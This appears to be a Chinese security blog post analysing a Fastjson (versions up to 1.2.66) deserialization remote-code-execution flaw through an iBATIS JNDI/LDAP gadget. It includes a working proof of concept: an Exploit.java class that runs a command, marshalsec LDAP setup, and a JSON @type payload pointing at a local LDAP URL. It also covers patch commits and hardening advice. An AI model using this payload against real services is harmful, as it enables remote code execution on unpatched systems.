Fastjson小于1.2.67 UnSerializable RCE分析研究

开篇前言

从2018年2月的第一篇文章开始到现在已经发布了946篇原创文章,时隔2年零2个月,博客粉丝达到了3000人,很是感谢大家的支持以及对笔者博客的喜爱,后续笔者也将用心撰写更加有质量的博客与广大IT领域的人员进行深度交流,为了答谢广大的粉丝,本次奉上一篇最近写的Fastjson反序列化漏洞文章,以此作为致谢~

影响范围

Fastjson<=1.2.66

漏洞类型

反序列化导致RCE

利用条件

开启autotype

漏洞概述

Fastjson是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。

Fastjson 1.2.66 反序列化是对Fastjson 1.2.24 反序列化黑名单的绕过~

漏洞复现

环境搭建

使用IDEA创建一个Meavn项目,之后添加以下依赖:

     
      	com.alibaba
      	fastjson
      	1.2.66
    
	
        org.apache.ibatis
        ibatis-sqlmap
        2.3.4.726
    
    
        javax
        javaee-api
        8.0.1
    

漏洞利用

这里使用LDAP的利用方式进行漏洞的利用演示,RMI的方式也是类似的,且RMI比LDAP要对JDK版本有很大的局限性~

LDAP利用方式:jdk版本:JDK 11.0.1、8u191、7u201、6u211之前,笔者这里采用JDK 1.8.0_181

编译Exploit.java

Exploit.java代码如下:

import java.lang.Runtime;

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

编译Exploit.java文件:

Fastjson小于1.2.67 UnSerializable RCE分析研究_第1张图片

搭建HTTP服务

使用Python搭建简易SimpleHTTPServer服务:

python -m  SimpleHTTPServer 4444

Fastjson小于1.2.67 UnSerializable RCE分析研究_第2张图片

搭建LDAP服务

使用marshalsec来启动一个LDAP服务:

Fastjson小于1.2.67 UnSerializable RCE分析研究_第3张图片

执行漏洞POC

Poc.java代码如下所示:

package com.FastJson1242;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class Poc {
    public static void main(String[] argv){
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
         String payload="{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://127.0.0.1:1099/Exploit\"}}";
        JSONObject.parseObject(payload);
    }
 }

之后运行该程序,成功执行命令,弹出计算器:

Fastjson小于1.2.67 UnSerializable RCE分析研究_第4张图片

漏洞分析

漏洞POC1分析

首先,查看一下com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类的实现,其中setProperties逻辑代码如下所示:

Fastjson小于1.2.67 UnSerializable RCE分析研究_第5张图片

很明显这里直接调用了initctx.lookup,明显的JNDI注入,那么我们只需要看婴喜爱utxName参数的传递过程,确定其是否可控,可以发现此处的utxName源自props,说明反序列化时prop必须存在且属性UserTransaction存在,所以只需要再@type反序列化Properties,为其写入userTransaction和rmi键值对即可,下面在此处下断点进行简易调试分析:

Fastjson小于1.2.67 UnSerializable RCE分析研究_第6张图片

之后的就是lookup——》setAutoCommit———》Connet的流程了~

漏洞修复

Fastjson 1.2.67对此版本进行了修复,增加了黑名单:

第一次增加:

https://github.com/alibaba/fastjson/commit/78881ef57802eba763745882e0f62b3d9fe65407

Fastjson小于1.2.67 UnSerializable RCE分析研究_第7张图片

第二次增加:

https://github.com/alibaba/fastjson/commit/334b34bd5821d9afa3349748fbc1b551cc48e56a

Fastjson小于1.2.67 UnSerializable RCE分析研究_第8张图片

Fastjson安全论

Fastjson 1.2.24应默认开启AutoType且运行@type指定反序列化的类的特性使得Fastjson 1.2.24存在反序列化漏洞

Fastjson 1.2.24~1.2.45 在Fastjson 1.2.25之后增加的CheckAutoType中进行攻防对抗,一方面是黑名单,一方面是LoadClass

Fastjson 1.2.47 出现了新的利用方式,无需开启AutoType即可利用,反而开启AutoType无法利用,它通过com.java.long来将恶意类转存至mapping中,之后再次反序列化时从mapping中取出恶意类来绕过黑名单的检测,后续通过cache来实现修复

Fastjson 1.2.62开始又对黑名单进行了一系列的绕过,官方也通过有原来的明文显示黑名单到hash,在到十进制、再到十六进制等等方式来防范安全研究人员对其进行研究分析,不过也有人在GitHub中公开了很多关于一些常见的类库的Hash值

关于Fastjson的使用,给出以下建议:

1、无需用到AutoType者,建议关闭

2、关于第三方类库的依赖加载时,只需加载需要的即可(Fastjson后续有很多POC都是基于JNDI注入,不过很多都是来自第三方依赖)

3、尽可能升级JDK版本,目前基于LDAP与RMI的利用方式中,对JDK的限制总体来说还是较大的~

 

谢谢各位粉丝的关注与阅读,非常感谢大家的支持,谢谢~

你可能感兴趣的:(Fastjson小于1.2.67 UnSerializable RCE分析研究)